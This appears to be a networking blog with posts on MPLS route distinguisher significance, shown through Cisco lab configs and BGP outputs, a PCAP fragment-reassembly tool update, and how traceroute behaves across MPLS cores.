A Down in the Weeds look at Route Distinguishers

I was recently involved in a discussion on reddit about VRF route targets and route distinguishers and I noticed that there was a lot of misinformation flying around. That doesn't really surprise me as a lot of the folks on there are learning and I've heard some jarring misconceptions on the topic come from  senior guys who have worked with MPLS for years. Most of the route target stuff was straightened out quite quickly and I will not get into any of that here, however the route distinguisher debate went on longer and covered some areas that seemed to be new or controversial to a lot of people.

The crux of the issue is that a lot of people believe the route distinguisher to be only locally significant - apparently there are many resources on the Internet which say this. I'll grant you that many are ambiguous, for example the first hit on Google for "route distinguisher and route target" says that "The route distinguisher has only one purpose, to make IPv4 prefixes globally unique. It is used by the PE routers to identify which VPN a packet belongs to". The well-respected packet life blog says "As its name implies, a route distinguisher (RD) distinguishes one set of routes (one VRF) from another. It is a unique number prepended to each route within a VRF to identify it as belonging to that particular VRF or customer." To be fair it goes on to clarify that "An RD is carried along with a route via MP-BGP when exchanging VPN routes with other PE routers", which suggests at the global significance.

In this post I hope to prove to anyone who is interested that route distinguishers are, in fact, both locally and globally significant and to demonstrate why this is important to understand.

Local Significance

If you've got this far then I assume you will already be familiar with what route targets and route distinguishers do, if not then I suggest you read up and play in the lab a while before venturing on.

The reason for needing a route distinguisher locally within a device is to extend the normal IPv4 prefixes that are known within each VRF in order to make them unique. Any locally learned IPv4 prefixes (connected, static or learned via an IPv4 routing protocol) are extended with the route distinguisher assigned to the VRF, as shown here:

It is also true that different PEs may use different route distinguishers for the same VRF without breaking anything:

PE1#show run vrf A
Building configuration...

Current configuration : 316 bytes
ip vrf A
 rd 100:2439
 route-target export 100:100
 route-target import 100:100
!
!
interface FastEthernet1/0
 ip vrf forwarding A
 ip address 192.168.1.1 255.255.255.0
 speed auto
 duplex auto
!
router bgp 100
 !
 address-family ipv4 vrf A
  redistribute connected
  redistribute static
 exit-address-family
!
end

PE1#show ip route vrf A

Routing Table: A


Gateway of last resort is not set

      192.168.1.0/24 is variably subnetted, 2 subnets, 2 masks
C        192.168.1.0/24 is directly connected, FastEthernet1/0
L        192.168.1.1/32 is directly connected, FastEthernet1/0
B     192.168.24.0/24 [200/0] via 10.255.255.2, 00:04:03
PE1#



PE2#show run vrf A
Building configuration...

Current configuration : 317 bytes
ip vrf A
 rd 100:2458
 route-target export 100:100
 route-target import 100:100
!
!
interface FastEthernet1/0
 ip vrf forwarding A
 ip address 192.168.24.1 255.255.255.0
 speed auto
 duplex auto
!
router bgp 100
 !
 address-family ipv4 vrf A
  redistribute connected
  redistribute static
 exit-address-family
!
end

PE2#show ip route vrf A

Routing Table: A

Gateway of last resort is not set

B     192.168.1.0/24 [200/0] via 10.255.255.1, 00:03:44
      192.168.24.0/24 is variably subnetted, 2 subnets, 2 masks
C        192.168.24.0/24 is directly connected, FastEthernet1/0
L        192.168.24.1/32 is directly connected, FastEthernet1/0
PE2#


So it's easy to see how the idea got started that RDs are only locally significant:

Route distinguishers don't need to match between devices in the same VRF in order for routes to be shared between them.

Global Significance

The first clue at the global significance of the route distinguisher is that it is carried in the MP-BGP updates:

PE1#show bgp vpnv4 unicast all 192.168.24.0/24 
BGP routing table entry for 100:2439:192.168.24.0/24, version 8
Paths: (1 available, best #1, table A)
  Not advertised to any peer
  Refresh Epoch 2
  Local, imported path from 100:2458:192.168.24.0/24 (global)
    10.255.255.2 (metric 3) from 10.255.255.200 (10.255.255.200)
      Origin incomplete, metric 0, localpref 100, valid, internal, best
      Extended Community: RT:100:100
      Originator: 10.255.255.2, Cluster list: 10.255.255.200
      mpls labels in/out nolabel/28
      rx pathid: 0, tx pathid: 0x0
BGP routing table entry for 100:2458:192.168.24.0/24, version 7
Paths: (1 available, best #1, no table)
  Not advertised to any peer
  Refresh Epoch 2
  Local
    10.255.255.2 (metric 3) from 10.255.255.200 (10.255.255.200)
      Origin incomplete, metric 0, localpref 100, valid, internal, best
      Extended Community: RT:100:100
      Originator: 10.255.255.2, Cluster list: 10.255.255.200
      mpls labels in/out nolabel/28
      rx pathid: 0, tx pathid: 0x0
PE1#

Interestingly, we have 2 different prefixes here. One is the original (100:2458:192.168.24.0/24) which we learned over the network, while the other is the same IPv4 prefix but prepended with the RD of the VRF which imports it (100:2439:192.168.24.0/24). If we imported it into multiple VRFs then we would have an additional copy for each RD used by the respective VRFs.

If the RD were only locally significant then why would the protocol designers send it? You may be thinking "otherwise you couldn't overlap prefixes!", but surely route targets would be enough to achieve this? If you heard a prefix of 10.0.0.0/8 announced with a route target imported by VRF A then you would import it into VRF A and not VRF B, if you heard a different announcement for 10.0.0.0/8 with a route target imported by VRF B then you would import it into VRF B and not VRF A.

That could kind of work, in theory, but it would essentially break the whole BGP paradigm as you would have multiple copies of the same prefix in use concurrently for different purposes. BGP likes to determine the best path and only offers that into the FIB. With a unique RD against each of the two 10.0.0.0/8 routes, BGP is able to do its best path determination and pass the two, now different, routes into their respective VRFs.

So the route distinguishers overcome that problem, but is that the only reason why they are carried in MP-BGP? That would be a fairly weak argument for global significance, but the best path point here touches on a much stronger case.

The Route Reflector Problem

One key thing to bear in mind which is often forgotten in the grand scheme of things is that the PE is not the only place where BGP best path calculations happen. Any MPLS network of even moderate scale will be using BGP route reflectors to keep the number of BGP sessions under control, and the route reflectors themselves perform a best path determination on the routes they receive before sending them out to their route reflector clients.

This extends the previous case to all the route reflector's clients, so essentially the entire AS. Let's take an example where the admin has been sloppy and has failed to keep RDs globally unique:

Notice that VRF A uses import / export RT 100:100, VRF B uses import / export RT of 100:200. The network administrator has tried to assign unique route distinguishers per VRF per device, but has made an error and overlapped the route targets used on PE1's VRF A and PE3's VRF B.

The two VRFs are completely distinct from one another and they are not even present on the same PEs. We can see that VRF A is only learning VRF A's routes and VRF B is only learning VRF B's routes:

PE1#show ip vrf
  Name                             Default RD          Interfaces
  A                                100:2439            Fa1/0
PE1#show ip route vrf A
Routing Table: A

Gateway of last resort is not set

      192.168.1.0/24 is variably subnetted, 2 subnets, 2 masks
C        192.168.1.0/24 is directly connected, FastEthernet1/0
L        192.168.1.1/32 is directly connected, FastEthernet1/0
B     192.168.24.0/24 [200/0] via 10.255.255.2, 00:05:01
PE1#

PE2#show ip vrf
  Name                             Default RD          Interfaces
  A                                100:2458            Fa1/0
PE2#show ip route vrf A

Routing Table: A

Gateway of last resort is not set

B     192.168.1.0/24 [200/0] via 10.255.255.1, 00:05:15
      192.168.24.0/24 is variably subnetted, 2 subnets, 2 masks
C        192.168.24.0/24 is directly connected, FastEthernet1/0
L        192.168.24.1/32 is directly connected, FastEthernet1/0
PE2#

PE3#show ip vrf
  Name                             Default RD          Interfaces
  B                                100:2439            Fa1/0
PE3#show ip route vrf B

Routing Table: B

Gateway of last resort is not set

      192.168.3.0/24 is variably subnetted, 2 subnets, 2 masks
C        192.168.3.0/24 is directly connected, FastEthernet1/0
L        192.168.3.1/32 is directly connected, FastEthernet1/0
B     192.168.19.0/24 [200/0] via 10.255.255.4, 00:01:54
PE3#

PE4#show ip vrf
  Name                             Default RD          Interfaces
  B                                100:2895            Fa1/0
PE4#show ip route vrf B

Routing Table: B

Gateway of last resort is not set

B     192.168.3.0/24 [200/0] via 10.255.255.3, 00:02:21
      192.168.19.0/24 is variably subnetted, 2 subnets, 2 masks
C        192.168.19.0/24 is directly connected, FastEthernet1/0
L        192.168.19.1/32 is directly connected, FastEthernet1/0
PE4#

Now, let's introduce an additional subnet on VRF A. It uses the same address space as VRF B but they are completely separate so that should be fine (right?!).

PE1(config)#ip route vrf A 192.168.3.0 255.255.255.0 192.168.1.10

Customer A is now happy as their new network is reachable over the VRF but all of a sudden we have customer B on the phone, complaining that their site (which used to work) is off the air. Looking into PE 4 we can see why:

PE4#show ip route vrf B

Routing Table: B

Gateway of last resort is not set

      192.168.19.0/24 is variably subnetted, 2 subnets, 2 masks
C        192.168.19.0/24 is directly connected, FastEthernet1/0
L        192.168.19.1/32 is directly connected, FastEthernet1/0
PE4#

The route to 192.168.3.0/24 has disappeared! Why is that? Looking on the route reflector gives us the answer:


RR#show bgp vpnv4 uni all 192.168.3.0/24
BGP routing table entry for 100:2439:192.168.3.0/24, version 14
Paths: (2 available, best #1, no table)
  Advertised to update-groups:
     3
  Refresh Epoch 1
  Local, (Received from a RR-client)
    10.255.255.1 (metric 3) from 10.255.255.1 (10.255.255.1)
      Origin incomplete, metric 0, localpref 100, valid, internal, best
      Extended Community: RT:100:100
      mpls labels in/out nolabel/25
      rx pathid: 0, tx pathid: 0x0
  Refresh Epoch 1
  Local, (Received from a RR-client)
    10.255.255.3 (metric 3) from 10.255.255.3 (10.255.255.3)
      Origin incomplete, metric 0, localpref 100, valid, internal
      Extended Community: RT:100:200
      mpls labels in/out nolabel/28
      rx pathid: 0, tx pathid: 0
RR#

Both 192.168.3.0/24 prefixes are being advertised with the same RD but different route targets. The route reflector has, therefore, seen the two "identical" prefixes and has chosen a best path - for want of a better metric it has chosen based on lowest next hop IP (PE1, VRF A):

Since the route reflector only advertises best paths to its clients, that means nobody gets to hear about the route from PE 3, VRF B. The route advertised from PE1 has a route target of 100:100, which doesn't match any VRFs on PE4 so it just discards the route leaving it with no way to reach the 192.168.3.0/24 network.

This proves that:

If you fail to apply globally unique route distinguishers on at least a per VRF basis, changes in one VRF can impact on another. This is irrespective of whether there are devices common to the two VRFs and occurs even when their route targets are completely different.

Policy at the PE

A similar but more subtle example of where globally unique route distinguishers are a benefit is in the case where you have a multi-homed network connected or routed via two PEs for resilience.
We want to use the the purple link to reach this prefix when it's available for administrative reasons (say the purple link is cheaper, or faster). Routes learned over the purple link are tagged with community 100:123 to allow upstream PEs to recognise this. Let's compare the case where both PEs use the same RD vs. the case where each PE uses a unique RD for the same VRF. Firstly, the same RD:

PE1 and PE2 are set to use the same RD. PE3 wants to use purple routes so it is set up with a policy to favour anything with a 100:123 community attached, as follows:

ip vrf A
 rd 100:2512
 import map A-import-map
 route-target export 100:100
 route-target import 100:100
!
route-map A-import-map permit 10
 match community purple
 set local-preference 200
!
route-map A-import-map permit 20
 set local-preference 100
!
ip community-list standard purple permit 100:123

For some reason, though, our traffic all goes out via the orange link. What is happening here is that the route reflector is again receiving  two identical prefixes - this does not cause a reachability problem as both prefixes reside within the same VRF, but it does mean that the route reflector makes a best path determination and discards one of the routes. PE3 only receives one route so its policy has to take what it can get:

PE3#show bgp vpnv4 uni all 192.168.200.0/24
BGP routing table entry for 100:2439:192.168.200.0/24, version 61
Paths: (1 available, best #1, no table)
  Not advertised to any peer
  Refresh Epoch 4
  200
    10.255.255.1 (metric 4) from 10.255.255.200 (10.255.255.200)
      Origin incomplete, metric 0, localpref 100, valid, internal, best
      Extended Community: RT:100:100
      Originator: 10.255.255.1, Cluster list: 10.255.255.200
      mpls labels in/out nolabel/30
      rx pathid: 0, tx pathid: 0x0
BGP routing table entry for 100:2512:192.168.200.0/24, version 68
Paths: (1 available, best #1, table A)
  Not advertised to any peer
  Refresh Epoch 4
  200, imported path from 100:2439:192.168.200.0/24 (global)
    10.255.255.1 (metric 4) from 10.255.255.200 (10.255.255.200)
      Origin incomplete, metric 0, localpref 100, valid, internal, best
      Extended Community: RT:100:100
      Originator: 10.255.255.1, Cluster list: 10.255.255.200
      mpls labels in/out nolabel/30
      rx pathid: 0, tx pathid: 0x0
PE3#

Clearly this is not doing what we want. The local VRF table only has one option, and that's the orange route. Let's try the same thing but with unique RDs per VRF per PE:

Now we see this at PE3:

PE3#show bgp vpnv4 uni all 192.168.200.0/24
BGP routing table entry for 100:2439:192.168.200.0/24, version 61
Paths: (1 available, best #1, no table)
  Not advertised to any peer
  Refresh Epoch 4
  200
    10.255.255.1 (metric 4) from 10.255.255.200 (10.255.255.200)
      Origin incomplete, metric 0, localpref 100, valid, internal, best
      Extended Community: RT:100:100
      Originator: 10.255.255.1, Cluster list: 10.255.255.200
      mpls labels in/out nolabel/30
      rx pathid: 0, tx pathid: 0x0
BGP routing table entry for 100:2458:192.168.200.0/24, version 62
Paths: (1 available, best #1, no table)
  Not advertised to any peer
  Refresh Epoch 4
  200
    10.255.255.2 (metric 4) from 10.255.255.200 (10.255.255.200)
      Origin incomplete, metric 0, localpref 100, valid, internal, best
      Community: 6553723
      Extended Community: RT:100:100
      Originator: 10.255.255.2, Cluster list: 10.255.255.200
      mpls labels in/out nolabel/29
      rx pathid: 0, tx pathid: 0x0
BGP routing table entry for 100:2512:192.168.200.0/24, version 64
Paths: (2 available, best #1, table A)
  Not advertised to any peer
  Refresh Epoch 4
  200, imported path from 100:2458:192.168.200.0/24 (global)
    10.255.255.2 (metric 4) from 10.255.255.200 (10.255.255.200)
      Origin incomplete, metric 0, localpref 200, valid, internal, best
      Community: 6553723
      Extended Community: RT:100:100
      Originator: 10.255.255.2, Cluster list: 10.255.255.200
      mpls labels in/out nolabel/29
      rx pathid: 0, tx pathid: 0x0
  Refresh Epoch 4
  200, imported path from 100:2439:192.168.200.0/24 (global)
    10.255.255.1 (metric 4) from 10.255.255.200 (10.255.255.200)
      Origin incomplete, metric 0, localpref 100, valid, internal
      Extended Community: RT:100:100
      Originator: 10.255.255.1, Cluster list: 10.255.255.200
      mpls labels in/out nolabel/30
      rx pathid: 0, tx pathid: 0
PE3#

Now we can see that two routes are received (purple and orange) and our route map has taken effect, pushing the purple route up to a better local preference and causing it to be selected into the VRF B table.

In summary, if you use the same route distinguisher at more than one point where the same IP prefix is learned, the best path determination will occur at the route reflector, not the receiving PE. This best path determination is likely to be quite coarse and applying per-VRF policies on route reflectors is inappropriate. Using unique RDs ensures that multiple copies of the same IP prefix can be learned by other PEs, allowing the best path determination to be done by the receiving PE using arbitrary local policies on a per-VRF basis.

Fast Failover

The final example is one of the most widely seen use cases for unique RD per VRF per PE. Let's take a look at the failover times for a route to move between PE1 and PE2 in the following scenario:

In the case of matching RDs, only one route for the destination is learned throughout the network so when a failure occurs a series of BGP updates need to occur before traffic can switch paths. In a real environment this chain of updates may take time. In a scaled environment (and for illustrative purposes in this lab), there may be hierarchical route reflectors and these may be configured with an update delay. Here is an example failover with two-tiered route reflectors and an update delay of 10s:

CE2#ping 1.1.1.1 repeat 100000

Type escape sequence to abort.
Sending 100000, 100-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds:
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.......UUUUUUUUUUUUUUUUU
UUUUU.UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU.UUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUU.UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUU.UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU.!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.
Success rate is 37 percent (130/344), round-trip min/avg/max = 4/8/152 ms
CE2#

This failover takes around 30 seconds due to cascading updates being batched and delayed multiple times. The "U" marks above show that the edge PE has no route to the destination, due to having received the withdraw from the primary path but not yet having received the advertisement from the standby. The diagram below shows the BGP updates which need to take place before routing converges to the standby path:

Compare this to the output when unique RDs are set, meaning that the alternate path is already learned throughout the network but is simply not selected by the ingress PE:

 
CE2#ping 1.1.1.1 repeat 100000

Type escape sequence to abort.
Sending 100000, 100-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds:
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.......!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.
Success rate is 94 percent (131/139), round-trip min/avg/max = 5/9/16 ms
CE2#

As you can see, the failover is much faster, around 10-15s, and there are no unreachables as the PE always has a route in its table (even if it is a stale one for a while).

Super Fast Failover

This can be improved further by using label per VRF mode in addition to unique RDs. Without going into too much detail, the standard mode for Cisco IOS is to generate a label per prefix. The LFIB of the generating PE will have an entry saying "if I receive label X, I will stick encap Y on it and throw it out of interface Z". This can be changed as follows:

PE2(config)#mpls label mode vrf A protocol bgp-vpnv4 per-vrf 

In label per VRF mode, the same label is advertised for all prefixes advertised from within a particular VRF - the corresponding LFIB entry essentially says "rip off the label and route the packet that follows". When in label per VRF mode, we don't wait for any BGP updates at all because the egress PE where the primary link just failed can instantly use the standby route, which it already knows thanks to the unique RDs. Traffic gets U-turned back into the MPLS network while the BGP convergence occurs, but the traffic at least arrives:

Traffic temporarily hops via the primary PE into the secondary, restoring connectivity while BGP takes its sweet time to converge. Once the routing updates have propagated, traffic will go directly to the secondary PE. Failover times here are much more impressive:

CE2#ping 1.1.1.1 repeat 100000

Type escape sequence to abort.
Sending 100000, 100-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds:
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Success rate is 99 percent (200/201), round-trip min/avg/max = 5/7/12 ms
CE2#

One ping lost / two seconds to fail over. Much better, and only possible with unique RDs!

Using unique RDs allows for much faster failover times, due to decreased numbers of BGP updates being required to converge following failures. This is particularly true when using label per VRF mode, since egress PEs can U-turn traffic without waiting for any BGP convergence at all.

Re-assembling IP Fragments in PCAP Files

Some time ago I created "stripe", a tool for stripping back layers of encapsulation headers from PCAP files leaving plain payload (typically IP) over Ethernet. "stripe" works with a variety of encapsulation types, from simple VLAN tags up to GRE and GTP, however one thing that stripe couldn't handle was if packets were fragmented after being encapsulated.

One user, LisbethS, suggested that I should build in IP fragment reassembly capabilities into stripe, however my first thought was that the two should be separate utilities. As I thought about it more, though, I realised that the two functions (decapsulation and re-assembly) were actually intertwined - if you treat them as separate processes then you can't re-assemble IP that is encapsulated within something else, nor can you decapsulate GRE or GTP that has been fragmented. The key, then, was to do both re-assembly and decapsulation as part of the same process.

Reassembling Packet Fragments

RFC 815 describes a minimal way to re-assemble IP fragments which is not that complex in principle, so I thought I'd add the functionality. I soon realised it wasn't quite as straightforward as I thought and you have to be very careful about the order of operations.

For example, if you have a packet that gets encapsulated then subsequently fragmented, then trying to decapsulate without reassembling first will fail (the first fragment decapsulates to a partial frame, then the subsequent fragment(s) fail to decapsulate). On the other hand, if you re-assemble first then decapsulate then you don't catch the case where a packet is fragmented before encapsulation. Neither approach can catch the case where a packet is fragmented, then encapsulated, then subsequently fragmented again.

To cut a long story short, the answer appears to be that you need to iteratively re-assemble, decapsulate until fragments are found, re-assemble again, decapsulate again... until there are no more fragments and everything is fully decapsulated.

Anyway, stripe now does both decapsulation and IP fragment re-assembly, meaning that it can take a pcap file containing fragmented and / or encapsulated packets, strip off all the encapsulation and re-assemble the fragments and write out the result to a new pcap file.

Download

The latest version is available for download at https://github.com/theclam/stripe - it is available as source code (compiles without dependancies in almost any Linux distro) and there are also Mac and Windows binaries for easy download.

UPDATE:

I've managed to recreate some of the SEGFAULTs that people have been kindly reporting to me. It turns out there was a typo / n00b mistake (I'm not sure which, most of this is coded way too late at night) which I have now corrected. If you tried before and got an error, it may be fixed now. The memory leaks have also been reduced from "raging" to "moderate" :)

Quirks of Traceroute over MPLS Networks

Working on MPLS networks, particularly with VRFs, there are a few questions that come up time and time again about traceroutes. 

In this post I'll try to provide answers to such questions as:

• Why do only two of my service provider's hops show in a traceroute?
• I am seeing loss / high latency on my traceroute as soon as it enters my provider's MPLS core. The provider says it's due to the destination site's link being congested but it appears way before that in the trace. What's going on?
• My firewall is attached to an MPLS provider's PE and it is complaining about spoofed packets. When I examine the packets I see they are ICMP unreachables destined to another site on the MPLS WAN. Why would I see this? 
• What does it mean when my traceroute shows MPLS: whatever?

To understand the answer to any of these questions, you will need to appreciate a) how traceroutes work (check Wikipedia if unsure) and b) the concept of IP / MPLS TTL propagation.

Life Without IP / MPLS TTL Propagation

IP and MPLS both have a TTL field which is used to prevent routing loops from causing packets to circulate forever. IP / MPLS TTL propagation is an optional mechanism which copies the IP TTL into the MPLS shim header upon encapsulation, and copies it back from the MPLS shim header into the IP packet when decapsulation occurs. 

In order to see why we'd ever want TTL propagation, let's take a worked example of CE1 tracing to CE2 without TTL propagation.

Hop 1

The first hop is pretty straightforward. CE1 sends a packet towards CE2 with a TTL of 1.

PE1 receives the packet and decrements the TTL, which reaches zero. PE1 sends a TTL expired message to the sender (CE1).

Hop 2

Next, CE1 sends a packet towards CE2 with an IP TTL of 2.

PE1 decrements the TTL, finds it to be non-zero (1) and decides to forward the packet on via MPLS. Since IP MPLS TTL propagation is disabled, the MPLS shim header gets a default TTL of 255.

P1 receives the labelled frame, decrements the MPLS TTL, finds it to be non-zero (254) and label switches it.

P2 receives the labelled frame, decrements the MPLS TTL, finds it to be non-zero (253) and label switches it.

PE2 receives the labelled frame, pops the MPLS label off and looks at the IP within. When PE2 decrements the IP TTL it becomes zero, so a TTL expired message is sent to the sender. Note, since PE2 has an interface address within the VRF, the TTL expired message is sourced from that address rather than the interface where the original packet entered.

Hop 3

Finally, CE1 sends a packet towards CE2 with an IP TTL of 3.

PE1 decrements the TTL, finds it to be non-zero (2) and decides to forward the packet on via MPLS. Since IP MPLS TTL propagation is disabled, the MPLS shim header again gets a default TTL of 255.

P1 receives the labelled frame, decrements the MPLS TTL, finds it to be non-zero (254) and label switches it.

P2 receives the labelled frame, decrements the MPLS TTL, finds it to be non-zero (253) and label switches it.

PE2 receives the labelled frame, pops the MPLS label off and looks at the IP within. PE2 decrements the IP TTL, finds it to be non-zero (1) and forwards the packet.

CE2 receives the packet, finds that it is destined to itself and responds to the sender, completing the traceroute.

The Output

As you can see, with TTL propagation disabled, the entry and exit PEs show up in the traceroute but pure label switched hops (P routers) do not:

CE1#trace 2.2.2.2

Type escape sequence to abort.
Tracing the route to lo-0.ce2.wormtail.co.uk (2.2.2.2)

  1 ge-2-1.pe1.wormtail.co.uk (192.168.1.1) 4 msec 4 msec 2 msec
  2 ge-2-1.pe2.wormtail.co.uk (192.168.2.1) 4 msec 4 msec 4 msec
  3 ge-0.ce2.wormtail.co.uk (192.168.2.100) 8 msec 7 msec 6 msec
CE1#

Sometimes that's desirable, particularly if the carrier wants to hide how many hops it takes to get from A to B.

In any case, we can answer the first question:

Why do only two of my service provider's hops show in a traceroute?

Your provider has disabled IP/MPLS TTL propagation, meaning that label-switched hops do not appear in traceroutes.

Enabling TTL Propagation

Let's consider a second worked example showing the same traceroute running over the same network but with TTL propagation enabled.

Hop 1

The first hop doesn't get as far as being MPLS encapsulated so it behaves exactly the same as with propagation disabled, i.e. CE1 sends a packet towards CE2 with an IP TTL of 1, PE1 decrements that to zero and generates a TTL expired.

Hop 2

Now CE1 sends a packet towards CE2 with an IP TTL of 2:

PE1 receives the packet and decrements the TTL to 1. This is non-zero so the packet is forwarded using MPLS. Since IP - MPLS TTL propagation is enabled on PE1, the MPLS TTL is copied from the already decremented IP TTL value.

Now, when P1 receives the labelled packet it decrements the TTL and finds zero. P1 sends a TTL expired message towards the sender.

Hop 3

Hop 3 behaves in essentially the same manner as hop 2 - the MPLS TTL decrements to zero and a TTL expired message is sent to the sender.

Hop 4

Now CE1 sends a packet towards CE2 with an IP TTL of 4:

The behaviour to note here is that when PE2 pops the MPLS label, it copies the MPLS TTL back into the IP TTL. The IP TTL is now 1, as if it had been decremented at each hop. Finally, PE2 decrements the new IP TTL, finds that it is zero and sends a TTL expired.

Hop 5

Finally, CE1 sends a packet towards CE2 with an IP TTL of 5:

Essentially, PE1 decrements and copies into the MPLS TTL, each label switch hop decrements the MPLS TTL, PE2 copies the MPLS TTL back into the IP TTL, then forwards the packet on to CE2. CE2 realises that the packet is destined to itself and sends a response to CE1.

In this case, every hop is visible in the traceroute because the TTL behaves consistently and is decremented at each hop:

CE1#trace 2.2.2.2

Type escape sequence to abort.
Tracing the route to lo-0.ce2.wormtail.co.uk (2.2.2.2)

  1 ge-2-1.pe1.wormtail.co.uk (192.168.1.1) 6 msec 4 msec 3 msec
  2 xe-1-1.p1.wormtail.co.uk (10.1.100.2) 4 msec 4 msec 4 msec
  3 xe-1-1.p2.wormtail.co.uk (10.100.101.2) 5 msec 4 msec 5 msec
  4 ge-2-1.pe2.wormtail.co.uk (192.168.2.1) 2 msec 7 msec 4 msec
  5 ge-0.ce2.wormtail.co.uk (192.168.2.100) 6 msec 6 msec 4 msec
CE1#

Ah, a beautiful traceroute with all the hops on... now we can troubleshoot stuff :)

Hold On!

Now, this all seems good at first glance, but we've forgotten something. One of the greatest features of MPLS VRFs is that the intelligence is only needed around the edge. - The entry / exit points of the network (PEs) need to know about a VRF's routes, but the P routers switching labels in the middle only need to know how to reach the PEs and don't have any VRF routes at all.

So how do the P routers reply to traceroutes run within a VRF? They can't look in the VRF routing table to decide how to return the unreachable message to the host, as they don't have a VRF table. Maybe they see the label that is in use and somehow know what the return label should be? Nope - label-switched paths are unidirectional, so there's no way for a P node to know what labels it would need to attach to an unreachable message to get it back to the sender.

The answer is that the P routers play a clever little trick. The P router doesn't know how to reach the sender, but if it forwards a TTL expired message in the same way as it would have done the original packet eventually it will reach the egress PE which does know how to reach the sender. It sounds a little counter-intuitive, so let's have a diagram:

P1 receives a labelled packet, decrements the MPLS TTL and finds it to be zero. P1 doesn't know anything about the VRF where this traffic originated so it peels off all the labels and looks at the IP packet inside. It generates a TTL expired message ready to respond to the sender and copies the label stack from the original packet onto the message it has just generated. Then it label switches that instead of the original packet. This means it gets sent onwards to P2, then PE2, where the labels are removed and the IP packet can be routed. Seeing that the ICMP TTL expired message is destined for CE1, PE2 applies the appropriate label and sends it back into the network.

Indirect FECs

Now, as if that wasn't quirky enough, we will look at a very similar setup but where the destination of the traceroute is not on the PE's directly attached network but is one hop away:

For efficiency reasons, many vendors allocate a label per next-hop rather than a label per VRF. When the PE receives such a label, it automatically adds the encapsulation for the next hop device's MAC and throws the frame out of the appropriate interface without any kind of routing lookup. Hurray, we burnt a label to save a TCAM lookup.

This has the effect of extending the quirk in the previous example - because the PE does not make a routing decision for these packets, the U-turning of ICMP unreachables occurs one hop further along, at the CE:

No big deal, you might think, but remember: the difference between a PE and a CE is that the PE is normally in the provider's PoP on big fat 10 Gbps links while the CE could be out in the sticks somewhere on the end of a 2 Mbps DSL line... U-turning at the CE means that responses from label-switched hops near the beginning of a trace will appear to inherit any packet loss and / or latency being experienced by hops further along, up to and including the PE - CE link.

I am seeing loss / high latency on my traceroute as soon as it enters my provider's MPLS core. The provider says it's due to the destination site's link being congested but it appears way before that in the trace. What's going on?

When you traceroute to a prefix beyond a CE device, the unreachables from label-switched hops usually have to be U-turned by the CE device, which is on the other end of the congested link. Therefore label-switched hops will often show packet loss / high latency in a traceroute even though the issue is further downstream.

Weird Firewall Logs

If we consider MPLS into the datacentre, we can often tweak the example above and replace the CE router with a firewall:

Now, to recap:

• Label-switched hops don't have routing knowledge to send a TTL expired message, so they attach the forward path label
• The PE knows that the label corresponds to a prefix behind the firewall so it encapsulates with the firewall's MAC as the destination and throws it straight out of the interface

So the firewall receives a packet on its WAN interface which is destined for something out of its WAN interface. Most firewalls don't like that - Cisco ASA firewalls, for example, by default will not route any traffic back out of the same interface where it entered.

The traffic split-horizon rule can be overridden in config, but there is another issue to overcome - any self-respecting firewall will perform uRPF checks on incoming packets before too much else happens. Unless the firewall has a default route pointing out into MPLS land then we are going to have a problem when packets arrive from the carrier's label switched core, often sourced from a public IP.

Finally, unless your firewall rules are pretty sloppy, the traffic will be dropped by filter anyway!

Therefore, the firewall logs spoofed packets or at least dropped ICMP unreachable packets with a source IP of the carrier's PE and a destination IP of some device in a remote site.

So, mystery solved:

My firewall is attached to an MPLS provider's PE and it is complaining about spoofed packets. When I examine the packets I see they are ICMP unreachables destined to another site on the MPLS WAN. Why would I see this?

Your carrier is using label per next-hop with IP - MPLS TTL propagation and some remote device tried to traceroute towards an address behind your firewall.

Though, if you jumped to this section, you probably want to read the preceding sections to make sense of that!

MPLS Information in Traceroutes

If your router supports the feature, you may see MPLS labels quoted in a traceroute, as shown here:

PE1#trace 10.255.255.2
Type escape sequence to abort.
Tracing the route to lo-0.pe2.wormtail.co.uk (10.255.255.2)
VRF info: (vrf in name/id, vrf out name/id)
  1 xe-1-1.p1.wormtail.co.uk (10.1.100.2) [MPLS: Label 17 Exp 0] 1 msec 6 msec 2 msec
  2 xe-1-1.p2.wormtail.co.uk (10.100.101.2) [MPLS: Label 42 Exp 0] 6 msec 2 msec 2 msec
  3 xe-1-1.pe2.wormtail.co.uk (10.2.101.1) 4 msec 4 msec 3 msec
PE1#

Having the labels can be useful for troubleshooting, not that I've ever used them. The presence of the EXP marking could be useful for debugging QoS issues, at least. I always assumed that there was some kind of MPLS trick used to relay the information back but then I noticed you sometimes get it when you trace through an external provider's network which hands over to you on IP.

It's actually done using ICMP extensions for MPLS (RFC 4950) - basically the whole MPLS label stack as it arrived at the label switch router is wrapped up in an ICMP extension header and copied wholesale into the unreachable or TTL expired message. As long as the ICMP message gets to you, so will the label stack.

Most hosts don't support the extension, so you just see a normal-looking traceroute result, but recent routers generally do and can decode the information and present it to you.

Here's a sample packet inspected in Wireshark:

So:

What does it mean when my traceroute shows MPLS: whatever?

Your traceroute has run through an MPLS backbone somewhere, the MPLS label stack is included in the unreachable message for troubleshooting purposes.

Fairly self explanatory, but good to know.

References

Wikipedia article on Traceroute
RFC 4950 (MPLS extensions to ICMP)
Per CE and per-VRF labelling mode on Cisco IOS-XR

